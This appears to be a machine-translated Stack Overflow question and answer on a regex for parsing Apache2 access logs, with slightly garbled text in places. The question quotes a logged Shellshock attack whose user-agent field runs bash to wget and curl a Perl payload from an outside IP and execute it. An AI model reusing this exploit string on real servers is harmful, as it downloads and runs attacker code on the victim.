我想解析Apache2日志文件并在此处找到一个好的正则表达式,使用下面的正则表达式:
/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
问题是这个regexp早于shellshock黑客机器人,并且字符串返回与用户代理字符串不匹配,如下所示:
糟糕的例子bash攻击:
199.217.117.211 - - [18/Jan/2015:04:51:19 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
以下是常规日志行:
157.55.39.0 - - [18/Jan/2015:09:32:37 -0500] "GET / HTTP/1.1" 200 37966 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
有人可以提供更新的正则表达式来处理黑客用户代理字符串,或建议另外两步php - regexp更加黑客证明吗?我可以看到具体的问题与处理有关“并且看起来最后一个regep可以替换为”(。*)“$但我想要一个专家意见......谢谢。
答案 0 :(得分:0)
更改
的两个实例"([^"]*)"
到
"((?:[^"]|\\")*)"
这将允许引用字符串中的 \ " 。
顺便说一下,在正则表达式中没有必要使用反斜杠转义引号,当它是类中的第一个字符时,也不需要在字符类中反斜杠转义] 。所以你可以删除一些冗余的反斜杠。就个人而言,我使用相同的引用排除语法而不是非贪婪的匹配。
最后,正如在注释中所观察到的,在请求不完整的情况下,请求的解析将失败。如果唯一不完整的请求行是缺失的指示符("-"
),那么您可以通过将大部分请求设置为可选来识别这些,将-
作为&#34;方法&#34;。< / p>
所以我建议如下:
/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^]]+)\] "(\S+)(?: ((?:[^"]|\\")*) (\S+))?" (\S+) (\S+) "((?:[^"]|\\")*)" "((?:[^"]|\\")*)"$/